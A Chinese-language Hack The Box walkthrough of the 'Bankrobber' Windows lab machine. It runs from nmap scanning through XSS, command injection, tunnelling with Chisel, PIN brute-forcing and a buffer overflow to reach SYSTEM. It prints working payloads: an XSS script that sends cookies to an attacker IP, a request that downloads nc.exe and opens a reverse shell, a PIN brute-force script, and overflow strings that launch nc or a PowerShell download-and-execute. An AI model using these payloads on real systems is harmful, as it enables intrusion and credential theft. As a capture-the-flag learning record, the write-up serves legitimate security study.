HTB 学习笔记
【Hack The Box】windows练习-- Bankrobber
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月3日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
信息收集
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin
443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
| tls-alpn:
|_ http/1.1
|_http-title: E-coin
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (91%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 10 1607 (85%), Microsoft Windows 10 1511 (85%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-11-02T11:46:53
|_ start_date: 2022-11-02T10:39:31
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
80存在apache,所以我们要关注php(特别关注)
443是一个https的apache,在80存在异常的时候,可能就是被跳转到https了
而后就是3306的MariaDB (unauthorized)
然后就是每次都会遇到的smb枚举
基本上我们在这个信息收集中获取的信息就这么多了
二者是同站,首先可以看到一个登陆框
简单分析一下网站功能,可以登陆可以注册,还可以交易
交易的话需要主交易人的账号以及被交易人的id
然后我尝试了一下用户密码均为admin的情况,可以登陆,然后就跳转到了转账页面(但是随便输入个啥都能登陆???这是什么鬼)
好了这个靶场到此结束,我去发财了【狗头保命】
哈哈哈,开个玩笑。那我觉得转账的过程肯定会调取数据库的信息来核对你的资金
结合开放了3306的数据库,那我觉得这里存在sql注入
然后我注册了个账户看看有啥区别
发现没啥区别,转账的话需要管理员审查
那就是数据库核对
更坚定了我sql注入的信心
我要开始尝试sql注入了
然后我准备随便转个账看看,发现选择框右边有箭头,账户和对方id都是自然数,不晓得干嘛
试了几个常用的也没啥用
但我试了几种也没啥反应啊,那网站源码会不会在smb被暴露出来?我要去枚举看看
smb也都锁了
刚才nikto扫了一下那个转账页面,也没啥东西
到这路已经死了,smb也有密码锁定,登陆框我试了几个也都没用,我仔细回想,漏了啥,然后,想起来了,目录遍历
目录遍历
发现一个admin,但是要验证
xss
说明需要认证,然后再回想,哪里还可能有问题,又想到了那句话,转账页面要给管理员看,那是不是意味着,存在xss?我们用个简单的脚本跑一下
xss构造
python3 -m http.server 80。 --本地开服务器让那边找你这个test.js
<script src="http://10.10.14.5/test.js"></script>
xss窃听脚本
function pwn() {
var img = document.createElement("img");
img.src = "http://10.10.14.19/xss?=" + document.cookie;
document.body.appendChild(img);
}
pwn();
SG9wZWxlc3Nyb21hbnRpYw%3D%3D
sql注入
这tm就对了么,绝对的去数据库查了,必须是sql注入
但是手搞了半天
就是不行,我一会再来玩
接下来就要玩下面那个服务框
ssrf
发现啥命令都执行不了,只支持本地,那我们能不能再次利用xss来利用,让他的本地来执行命令
也是利用刚才的方法
本地写一个js脚本,然后把反弹脚本啥的还有nc放到同一目录
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.14.6/nc.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.14.6 1234';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);
所有的参数都是抓包所得
还是在之前那个存在xss的地方搞
<script src="http://10.10.14.6/shell.js"></script>
发现了一个这个文件
C:\>bankv2.exe
bankv2.exe
Toegang geweigerd. 翻译过来是无权访问
因为无权访问,所以直接听端口是快捷的方法,大概率可以突破这个限制
溢出
查看一下端口,发现了一个我们不晓得的端口,为了连接这个端口服务,我们把它隧道到本地然后nc就可以玩了
netstat -ano | findstr LISTEN
打隧道我们使用Chisel
把windows客户端传过去
powershell -c "wget 10.10.14.6/chisel_windows_amd64.exe -o c.exe"
服务端
./chisel server -p 8000 --reverse
客户端
c.exe client 10.10.14.5:8000 R:910:localhost:910
然后即可监听910端口
连接成功
pin爆破
#!/usr/bin/env python3
import socket
import sys
for i in range(10000):
sys.stdout.write(f"\rTrying: {i:04d}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 910))
s.recv(4096)
s.send(f"{i:04d}\n".encode())
resp = s.recv(4096)
if not b"Access denied" in resp:
print(f"\rFound pin: {i:04d}")
break
s.close()
溢出突破
首先发现存在溢出,因为他下面要执行的很显然截断了,我们可以用msf的验证,也可以数一下,都行
msf-pattern_create -l 40
msf-pattern_offset -q 0Ab1
然后我们输入32个a加上后面的命令即可
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\Users\\Cortin\\AppData\\Local\\Temp\\nc.exe -e cmd.exe 10.10.14.6 8888
或者
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApowershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')
可以看到下图已经正确的执行命令了
最终就可以拿到system